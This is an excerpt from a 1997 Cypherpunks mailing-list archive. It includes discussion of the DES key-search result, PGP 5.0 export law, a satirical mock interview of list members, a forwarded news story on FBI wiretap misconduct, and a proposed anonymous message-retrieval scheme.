today. We refuse to sell weak products that might provide a false
sense of security and create easy targets for foreign governments,
criminals, and bored college students," said Parekh. "We also oppose
so-called "key escrow" plans that would put everyone's cryptography
keys in a few centralized locations where they can be stolen and sold
to the highest bidder," he added. C2Net's products include the
Stronghold secure web server and SafePassage Web Proxy, an enhancement
that adds full-strength encryption to any security-crippled "export
grade" web browser software.

# # #

Pentium is a registered trademark of Intel Corporation.

Netscape and Netscape Navigator are registered trademarks of Netscape
Communications Corporation

Stronghold and SafePassage are trademarks of C2Net Software, Inc.






From azur at netcom.com  Wed Jun 18 19:09:32 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 19 Jun 1997 10:09:32 +0800
Subject: Bob quoted in DowJones Markets magazine
In-Reply-To: 
Message-ID: 



"Atoms to Bits: The Future of Money," in the June/July edition of Markets
magazine (page 17), appears to have an unattributed quote from our very own
Bob Hettinga:

	Take, for example, this comment from a futurist's correspondence
	on the Internet: "I expect that this new cashsettled, information
	based, geodesic economy we're heading into will have some group which
	will figure out how to confiscate economic rents from the productive
	elements of society, much in the way that aristocrats did to
agriculture
	or nationstates did to industry."

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From rah at shipwright.com  Wed Jun 18 19:27:33 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 19 Jun 1997 10:27:33 +0800
Subject: DESCHALL Press Release (fwd)
In-Reply-To: <199706182318.QAA29014@zipcon.net>
Message-ID: 



At 8:08 pm -0400 on 6/18/97, Jeff Simmons wrote:

> You might call it luck, but at the time the key was found, the combined
> keyspace searched by the three groups was a bit over 50%, even counting
> in the expected number of duplicate keys searched.

Which, of course, is the expected time to find a key in any random search.

Statistics: It ain't a good idea, it's reality. :-).

Stochastically yours,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From rah at shipwright.com  Wed Jun 18 19:40:14 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 19 Jun 1997 10:40:14 +0800
Subject: Bob quoted in DowJones Markets magazine
In-Reply-To: 
Message-ID: 



At 9:59 pm -0400 on 6/18/97, Steve Schear wrote:


> "Atoms to Bits: The Future of Money," in the June/July edition of Markets
> magazine (page 17), appears to have an unattributed quote from our very own
> Bob Hettinga:

Yeah. the guy who wrote it said that he did attribute it to me, but since I
was "someone the average Telerate user wouldn't recognise", the copy
editors killed it.

Maybe I should write a letter to the editor or something, but I seem to be
aspiring to lethargy on the issue at the moment...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From wombat at mcfeely.bsfs.org  Wed Jun 18 19:55:05 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Thu, 19 Jun 1997 10:55:05 +0800
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <199706190155.SAA08785@gabber.c2.net>
Message-ID: 





On Wed, 18 Jun 1997, sameer may have penned some advertising:

> 	  HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
> 
> Oakland, California (June 18, 1997)-The 56-bit DES encryption
> standard, long claimed "adequate" by the U.S. Government, was
> shattered yesterday using an ordinary Pentium personal computer

... and quite a few other assorted systems that didn't happen to 
search the "lucky keyspace." Was anyone on DESCHALL using a Trash-80? ;)

> INetZ vice president Jon Gay said "We hope that this will encourage
> people to demand the highest available encryption security, such as
> the 128-bit security provided by C2Net's Stronghold product, rather
> than the weak 56-bit ciphers used in many other platforms."

Of course.






From tcmay at got.net  Wed Jun 18 20:10:57 1997
From: tcmay at got.net (Tim May)
Date: Thu, 19 Jun 1997 11:10:57 +0800
Subject: Bob quoted in DowJones Markets magazine
In-Reply-To: 
Message-ID: 



At 7:20 PM -0700 6/18/97, Robert Hettinga wrote:
>At 9:59 pm -0400 on 6/18/97, Steve Schear wrote:
>
>
>> "Atoms to Bits: The Future of Money," in the June/July edition of Markets
>> magazine (page 17), appears to have an unattributed quote from our very own
>> Bob Hettinga:
>
>Yeah. the guy who wrote it said that he did attribute it to me, but since I
>was "someone the average Telerate user wouldn't recognise", the copy
>editors killed it.

After this happened to me a while back, I told a later reporter that I
expected any quotes from me would be credited, as they were my words. I
told him I was not releasing my rights to these words, and that I wanted a
written, faxed, or e-mailed contract to this effect.

He said  he had no control over how his editors altered quotes, reworded
them, or deleted credits, so we ended our discussion at this point.

(No, this was not Declan.)

Not that it matters. Face it, our words in print vanish without a trace,
and are remembered by nobody except ourselves.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From stewarts at ix.netcom.com  Wed Jun 18 20:17:52 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 19 Jun 1997 11:17:52 +0800
Subject: [?????] PGP 5.0 Freeware is available from ???
In-Reply-To: <3.0.32.19970618180132.00696e10@post1.com>
Message-ID: <3.0.2.32.19970618192907.007707dc@popd.ix.netcom.com>



At 06:04 PM 6/18/97 +0300, Arunas Norvaisa wrote:
>>        ftp.hacktic.nl
>>        pub/replay/pub/incoming/pgp50trial.exe
> Will this be legal??? <= This is the question. BTW, when this
>'trial' version will cease to work?

"legal" means several things
1) If a US citizen in the US exported it, was that legal?  
	(probably not, though arguable in court.)
2) If a non-US-citizen located outside the US downloaded it
	from an account on a system in the US, does the US government
	have jurisdiction over them?  (probably not, so "legal" is moot.)
3) Does Nederlands law prevent you from exporting it to Turkey?
	(probably not, though if you were in Iraq or North Korea the
	answer might be different.)
4) Does Turkish law limit your importing or use of the software?
	(I don't know - you'll need to check that yourself.)
5) Does US law have any say over whether you can import it from
	the Nederlands to Turkey?  (Not really...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From lharrison at mhv.net  Wed Jun 18 20:37:10 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Thu, 19 Jun 1997 11:37:10 +0800
Subject: Impact of Netscape kernel hole (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970618232348.006df394@pop.mhv.net>



-----BEGIN PGP SIGNED MESSAGE-----

Now that Netscape has included and made available a patch re: the "hole"
specifically for its new Communicator, does anyone have any info if and when
patches are going to be available for 3.x versions?  I didn't see anything on
their web page regarding 3.x versions except for the suggestion [old news] of
enabling the security alert.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM6imPz5A4+Z4Wnt9AQH5lAP/ShJiYpfNJOoWWZh5dQA3EgLlV1KhN26D
t6VXjS6MKaml42hHhSH4ezqXWpX/jMxLY5+clzxvi2CIo+p2ObB/S49d8hTV/0kd
oKmWfCyJ+UA/3G1bfrmTZ4ZAcT3vRpsAJPHsBvo+WhAWiUgjF9PnX4Pv9zUeRGkY
22z61W65qZk=
=Alhc
-----END PGP SIGNATURE-----


*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From lucifer at dhp.com  Wed Jun 18 21:14:09 1997
From: lucifer at dhp.com (lucifer Mixmaster Remailer)
Date: Thu, 19 Jun 1997 12:14:09 +0800
Subject: Declan as a Crime Beat Reporter
Message-ID: <199706190400.AAA00467@dhp.com>




> hee, hee, I hope that Declan comes up with an amusing mishmash of your
> own life. turnabout is fair play. maybe if he doesn't, someone else
> can take a stab at satirizing mr. debauched millionaire playboy
> who dabbles in cryptography theory.


An interview with cypherpunks founder Timothy C May, Jim Bell 
and various other Cypherpunks also present.
Interview conducted by Declan McCullagh


Declan: 

Tim, can you tell us how you first became interested in the use
of cryptography to preserve freedoms supposedly guaranteed by
the constitution.

Tim:

Well, I had just quit working at Intel, where I made more money than
all of you put together, when I really started to get interested 
in cryptography, At the first physical meeting, when John, Eric and I
had just founded the cypherpunks, we discussed anonymity, digital
cash and compared rifle collections.

Jim: 

Something wonderful is about to happen.

Tim:

No it isn`t, I thought of anonymous digital assasination contracts
first, now everyone calls it AP, and you get all the publicity 
(Tim reaches for his .45).

Declan:

Calm down, I`m sure it isn`t that simple.

Tim:

Yes it is, lets nuke D.C.

Dimitri:

Tim May blows small children, and is an anti semetic bigot.

Graham-John Bullers:

I think we should all send Vulis back 10 copies of this

Truthmonger:

Nuke Ottowa too.

Kent Crispin:

Nuking anywhere is just an adolescent fantasy

Vladimir Z Nuri:

I agree

Tim May:

No it isn`t, go away Kent.

Paul Bradley:

Yes indeed, nuke London as well.

Ray Arachelian:

There should be a law against this, surely it`s an infringement of privacy!

Dimitri:

Ray Arachelian is a dandruff covered censorous purebred sovok forger.

Se7en:

Lets hack their servers and erase all the kiddie porn.

Truthmonger:

I propose 3 minutes of silence for Tim McVeigh

Dimitri:

Ah, so you are trying to censor us then, Truthmonger is really Chris 
Lewis, who is also really Richard Depew.
ObTruthMongerFodder: Tim McVeigh is a murderous cocksucker

Hallam-Baker:

AP is a murder and censorship scheme.

Tim May:

I thought of this and wrote an essay on it back in `78 when most of
you were still in high school, I probably posted it once, trawl the
archives and you shall be enligtened.

Jerry K U-Ramos:

Break this, because we are so confident in the strenth of our cipher
we are giving you a week to cryptanalyse it, if you can`t, it must
be unbreakable.

Tim May:

This offer of a prize for cryptanaysis is highly suspect, I am now
placing rifles in strategic positions, lock and load.
I remember a similar offer back in `64, before most of you were born,
(mumble, mumble, mumble)...

Toto:

I`m sure the NSA have something to do with it, or is that the CIA, the 
FBI, the DEA ??? I don`t remember, but it`s some scary TLA composed 
entirely of men in long black coats.

Kent Crispin:

Lets be realistic about it, you are all obsessed with assasination.

Vladimir Z Nuri:

I agree (In a post only 3 seconds later than Kents original one, I wonder 
how that could happen? ;-)) 

Declan:

None of you understand, I have to attend dinner parties, like the one 
with Steve and Bill the other night, to get information for my articles.

Tim May:

I thought of this back in `84 too, I concluded that people should read 
what I say more carefully, and you *might* sell out in future.

Jim Bell:

Something wonderful is about to happen

Tim May:

Jim, you are killfiled for being a loon.

Declan:

Right, I`m sorry but we appear to have run out of time, we`ll have to go 
home.

Dimitri:

So you are trying to censor us then.
Declan McCullagh is a cocksucker

Tim starts packing the several dozen rifles he brought with him back into 
boxes.

Everyone gets in their cars to go home, except Tim May who brought his 
tank with him.


THE END







From whgiii at amaranth.com  Wed Jun 18 21:14:12 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 19 Jun 1997 12:14:12 +0800
Subject: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706190403.XAA31145@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970618192907.007707dc at popd.ix.netcom.com>, on 06/18/97 
   at 07:29 PM, Bill Stewart  said:

>5) Does US law have any say over whether you can import it from
>	the Nederlands to Turkey?  (Not really...)

Shhhhhhh... don't tell the State Dept. They think they have a say in what
the rest of the world does. Ofcource seeing how many governments cave in
to these little fasists bastards it's no wonder they think that they rule
the world.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6iwCI9Co1n+aLhhAQGa0QP+IaAeYwvUQtVVOC9pKw7n1gYSsZcm9KVE
vVcuxiC9E1DU4EAwkbzpUlFweJiVucyaolt92fV1mamb9uBLk68ucg02cjhuXi92
LG4fJb4II9bhSWVxiKNbRrkJkTma/5lNCJaU+wOl28S9TFYfgIVd3JERmCf3nQYX
ZdhTf51uet8=
=acVF
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Wed Jun 18 21:14:34 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 19 Jun 1997 12:14:34 +0800
Subject: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706190401.XAA31109@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970618192907.007707dc at popd.ix.netcom.com>, on 06/18/97 
   at 07:29 PM, Bill Stewart  said:

>5) Does US law have any say over whether you can import it from
>	the Nederlands to Turkey?  (Not really...)

Shhhhhhh... don't tell the State Dept. They think they have a say in what
the rest of the world does. Ofcource seeing how many governments cave in
to these little fasists bastards it's no wonder they think that they rule
the world.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6ivdY9Co1n+aLhhAQE7NgQAu5zF1HbjYE1ce7Q5bH1bzSw8h6uewcwM
v9An7rEKQXQgdF0IPtxKEfr3rkRzF2CmMe/+Gizuz+umLiIfCl9SwLflb0nXgwdx
Ftd3NRWQF52sTsS9PhCfs8/4Y7vZA+YjKo8fHHKK0c51px+3eoLHeyDMJCzJvPCM
iTU5/3ei+RA=
=CoLC
-----END PGP SIGNATURE-----






From ravage at EINSTEIN.ssz.com  Wed Jun 18 21:19:35 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 19 Jun 1997 12:19:35 +0800
Subject: index.html
Message-ID: <199706190345.WAA03874@einstein.ssz.com>



   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Start your retirement planning using Portrait Planning.
   Click Here. 
   
     rule
     
             REPUTED MOBSTER'S ADMISSION MAY CAUSE CASE TO CRUMBLE
                                       
      Mercurio
     
     June 18, 1997
     Web posted at: 9:47 p.m. EDT (0147 GMT)
     
     BOSTON (CNN) -- The trial of reputed mob boss Frank "Cadillac"
     Salemme was thrown into disarray Wednesday when mob journeyman
     Angelo "Sonny" Mercurio told a U.S. District Court he had been an
     informant for the FBI.
     
     The dramatic admission came after federal Judge Mark Wolf asked
     Mercurio if he had been an informant for the FBI in 1989 -- the same
     year his pals were being wiretapped by the agency. Mercurio, who is
     serving time in Georgia for marijuana possession, faced a jail
     sentence for contempt if he did not answer the question.
       _______________________________________________________________
     
  PEG TYRE's report as seen on CNN
  
      VXtreme logo VXtreme Streaming Video 
       _______________________________________________________________
     
     
     
     "Yes," he replied in a loud and clear voice. His disclosure could
     threaten the government's case against Salemme, the reputed head of
     the New England Mafia, and four other reputed mobsters.
     
     Mercurio's answer raises questions about whether the Justice
     Department misled a federal judge to get a wiretap that helped lead
     to the conviction of other organized crime figures.
     
     Judges will not grant wiretaps if they know authorities
     haveinvestigative alternatives, such as informers.
     
     "It is an important part of a mosaic that we're going to build to
     argue that there has been outrageous government misconduct in this
     case and ask for a retrial," defense attorney John Mitchell said.
     
     Salemme's lawyers say they'll ask that the wiretaps be thrown out.
     If the judge agrees, the case against Salemme, as well as mobsters
     already convicted on wiretap evidence, could be in jeopardy.
     
  Judge says government's credibility is at stake
  
     
     
     The government's case against Salemme hinges on a wiretap recording
     of a ceremonial induction into the Patriarca crime family in
     Medford, Massachusetts, in 1989.
     
     The wiretap information led to convictions against Salemme's alleged
     predecessor, Raymond "Junior" Patriarca, and several others.
     
     Mercurio's admission proved the FBI lied in sworn statements they
     used to get permission for the tap. Agents claimed they needed the
     electronic surveillance of the induction, when instead they had
     Mercurio on the inside to help them. Scarpa
     
     "The entire premise and entire foundation of the tap may well be
     rotten, and the tape will be suppressed," defense attorney Anthony
     Cardinale said.
     
     It also potentially undermines 20 major mob convictions in New
     England.
     
     "I think FBI agents have gotten the message from the courts and from
     Congress that in organized crime cases, anything goes," criminal
     defense attorney Gerald Shargel said.
     
     Wolf said he will continue to press to see if the FBI obtained other
     wire taps by providing false information. At issue he says is the
     credibility of the government in the eyes of its federal judges.
     
     Correspondent Peg Tyre contributed to this report  rule
     
  Read the next US story:
  
     * Negotiators optimistic about tobacco talks - June 18, 1997
       
     
  Related stories:
  
     * CNN - Federal jury convicts 12 suspected Mexican Mafia members -
       May 30, 1997
     * CNN - Mob bosses took a beating last year - Jan. 3, 1997
       
  Related sites:
  
     * US Mafia, Short History & Key Players
          + Patriarca, Raymond L.S.
     * CSS Organized Crime Menu
     * Gangsters!
     * The New Mafia Order A history of the mafia from Mother Jones
       Magazine
     * GANG LAND: The Jerry Capeci Web Page
       
       Search for related CNN stories:
     ________________________________________   ______ [Help]
     Tip: You can restrict your search to the title of a document.
     Infoseek grfk
     
     Example: title:New Year's Resolutions
      rule Message Boards 
     
  Sound off on our message boards
  
     Tell us what you think!
     
     You said it... [INLINE] Start your retirement planning using
     Portrait Planning. Click Here. rule
     
   
   To the top 
   
   � 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.






From whgiii at amaranth.com  Wed Jun 18 21:24:20 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 19 Jun 1997 12:24:20 +0800
Subject: index.html
In-Reply-To: <199706190345.WAA03874@einstein.ssz.com>
Message-ID: <199706190418.XAA31337@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706190345.WAA03874 at einstein.ssz.com>, on 06/18/97 
   at 10:45 PM, Jim Choate  said:

> Wolf said he will continue to press to see if the FBI obtained other
>     wire taps by providing false information. At issue he says is the
>     credibility of the government in the eyes of its federal judges.
>     

They have never had any credibility the federal judges have just had their
eyes closed.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6izZI9Co1n+aLhhAQG+lwQAipizkBjFNmZHCXpogQBlSFxV7uzJoooO
N2TnzZQr5wtzZvDg4SPpbwj3Zocc8a1D/aPR0nIuY42fk98M6vVog7ZXtB+6CydY
555rlzikKSnW8e1pW124st7zKr7sBD3ZeFQjZOjjcu6woBobCf844TzLLQooYG/N
3WDCUFMghyE=
=9+ve
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Wed Jun 18 21:32:36 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 12:32:36 +0800
Subject: NoneRe: Receiving Messages Anonymously
In-Reply-To: 
Message-ID: <199706190425.GAA27164@basement.replay.com>



pdh at best.com (Peter Hendrickson) wrote:

> Receiving anonymous messages is still an open problem.  The solutions
> we have so far are cumbersome to operate.  They also depend on a chain
> of machines remaining up and reliable for a long time, which is
> expensive.
> 
> A quick solution is to use the list to send anonymous messages.  It is
> inexpensive to tell if a message is encrypted for a key you control so
> it is cheap to find messages you can read.


An anonymous message pool.  How is this different from posting to
alt.anonymous.messages?  (Other than it would annoy list readers. :)






From frantz at netcom.com  Wed Jun 18 21:46:00 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 19 Jun 1997 12:46:00 +0800
Subject: Award from Computer Press Ass'n (shamelessself-congratulation)
In-Reply-To: 
Message-ID: 



At 4:18 PM -0700 6/18/97, Declan McCullagh wrote:
>I just learned that Brock Meeks and I won the top award for "Best Online
>Feature" from the Computer Press Association during its 12th annual awards
>ceremony in New York City. Our winning article was the investigative story
>"Keys to the Kingdom" that exposed the hidden agendas of so-called blocking
>software programs. It ran in CyberWire Dispatch last July.

Congratulations.  It was an important story.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From lharrison at mhv.net  Wed Jun 18 21:52:10 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Thu, 19 Jun 1997 12:52:10 +0800
Subject: Declan as a Crime Beat Reporter
In-Reply-To: <199706190400.AAA00467@dhp.com>
Message-ID: <3.0.2.32.19970619004016.0069e770@pop.mhv.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 12:00 AM 6/19/97 -0400, lucifer Mixmaster Remailer wrote:
>
>An interview with cypherpunks founder Timothy C May, Jim Bell 
>and various other Cypherpunks also present.
>Interview conducted by Declan McCullagh
>


Normally, I'd write this privately to the author but, in this case, you get a
public "hats off".  Obviously written by an individual who's been on cpunks
for a while.

Thanks for a good read....
  
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM6i4Dz5A4+Z4Wnt9AQFVgQP9GPP+92qW1Gu9DsDqx4cBcPdR4T0yFl7t
2bSz78jni3A+mhOw44A+JXlEGQuU66Exm5BHSs67zHYTIRUrfdiltmrOorZdh3PH
M/arA04ythXsVpiU2KLEQkl68iMiW/Kvm7//VKbpmy09pA17dHUIpBAvVZigryn7
IkkSkgOlX0Y=
=r3T5
-----END PGP SIGNATURE-----


*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From nobody at REPLAY.COM  Wed Jun 18 21:53:18 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 12:53:18 +0800
Subject: NoneRe: Recipient Anonymity
Message-ID: <199706190442.GAA28837@basement.replay.com>



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)






From alan at ctrl-alt-del.com  Wed Jun 18 22:51:31 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Thu, 19 Jun 1997 13:51:31 +0800
Subject: INFORMATION
In-Reply-To: 
Message-ID: <3.0.2.32.19970618221325.01cf2b00@mail.teleport.com>



At 06:46 PM 6/18/97 PDT, twinsvideo at infosel.net.mx wrote:
>
>donn't think that i'm lame or somthin' but i realy need information on how
to hack so, could you please tell me how to hack 
>and what do i need in order to hack.

I suggest really strong turkish cigarettes.  Smoke them constantly and soon
you will be hacking before you know it.

>don't worry i won't get into trouble.

Depends on the age of tobacco purchace in your state.  You might have to
get into High School before trying the above method.

>please hurry it's urgent.

That is what they all say...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From AGRAPA at banamex.com  Wed Jun 18 23:38:27 1997
From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA)
Date: Thu, 19 Jun 1997 14:38:27 +0800
Subject: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
Message-ID: 




I actually got a kick out of reading the bullshit in the press release.

>Oakland, California (June 18, 1997)-The 56-bit DES encryption
>standard, long claimed "adequate" by the U.S. Government, was
>shattered yesterday using an ordinary Pentium personal computer

Actually it was more than 70,000 clients working together

> "That DES can be broken so quickly should send a chill through the
>heart of anyone relying on it for secure communications,"

I'm shitting bricks. No mention was made that only 25% of the keyspace
was tested.

>"Unfortunately, most people today...

Unfortunately some companies depend on BS to sell products. Glad to see
C2Net is no different,

[Rest of the noise removed]

You should have given credit to DESCHALL whose effort is be applauded.






From shamrock at netcom.com  Wed Jun 18 23:41:50 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 19 Jun 1997 14:41:50 +0800
Subject: DES is dead. RC5 is next.
Message-ID: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>



Now that a stake has finally been put through the heart of DES, let's all
join in breaking RC5-56.

See my signature for details.

Thanks for you help,

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From nobody at REPLAY.COM  Thu Jun 19 00:04:33 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:04:33 +0800
Subject: PGP 5.0 source shipped to Europe!
Message-ID: <199706190658.IAA14883@basement.replay.com>



Unknown Cypherpunks shipped the PGP 5.0 source to Europe.

http://www.ifi.uio.no/pgp/pgp50.shtml

See the source books! Read the shipping label! Trace the package!

--SourceMonger






From digital_matrix at hotmail.com  Thu Jun 19 00:15:11 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Thu, 19 Jun 1997 15:15:11 +0800
Subject: INFORMATION
Message-ID: <199706190656.XAA27541@f34.hotmail.com>





----Original Message Follows----
>From owner-cypherpunks at cyberpass.net Wed Jun 18 23:17:57 1997
Received: (from majordom at localhost) by sirius.infonex.com (8.8.5/8.7.3) 
id WAA08563 for cypherpunks-outgoing; Wed, 18 Jun 1997 22:25:11 -0700 
(PDT)
Received: (from cpunks at localhost) by sirius.infonex.com (8.8.5/8.7.3) id 
WAA08541 for cypherpunks at infonex.com; Wed, 18 Jun 1997 22:25:04 -0700 
(PDT)
Received: from rigel.cyberpass.net (root at rigel.infonex.com 
[206.170.114.3]) by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id 
WAA08529 for ; Wed, 18 Jun 1997 22:24:58 
-0700 (PDT)
Received: from toad.com (toad.com [140.174.2.1]) by rigel.cyberpass.net 
(8.8.5/8.7.3) with ESMTP id WAA29918 for ; 
Wed, 18 Jun 1997 22:23:23 -0700 (PDT)
Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id 
VAA09031 for cypherpunks-unedited-outgoing; Wed, 18 Jun 1997 21:30:18 
-0700 (PDT)
Received: from kim.teleport.com (kim.teleport.com [192.108.254.26]) by 
toad.com (8.7.5/8.7.3) with ESMTP id VAA09026 for 
; Wed, 18 Jun 1997 21:30:14 -0700 (PDT)
Received: from kluge (ip-pdx38-11.teleport.com [204.202.160.13]) by 
kim.teleport.com (8.8.5/8.7.3) with SMTP id WAA07841; Wed, 18 Jun 1997 
22:17:29 -0700 (PDT)
Message-Id: <3.0.2.32.19970618221325.01cf2b00 at mail.teleport.com>
X-Sender: alano at mail.teleport.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 b4 (32)
Date: Wed, 18 Jun 1997 22:13:25 -0700
To: twinsvideo at infosel.net.mx
From: Alan Olsen 
Subject: Re: INFORMATION
Cc: cypherpunks at toad.com
In-Reply-To: 
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-cypherpunks at cyberpass.net
Precedence: bulk
Reply-To: Alan Olsen 
X-List: cypherpunks at cyberpass.net
X-Loop: cypherpunks at cyberpass.net

At 06:46 PM 6/18/97 PDT, twinsvideo at infosel.net.mx wrote:
>
>donn't think that i'm lame or somthin' but i realy need information on 
how
to hack so, could you please tell me how to hack 
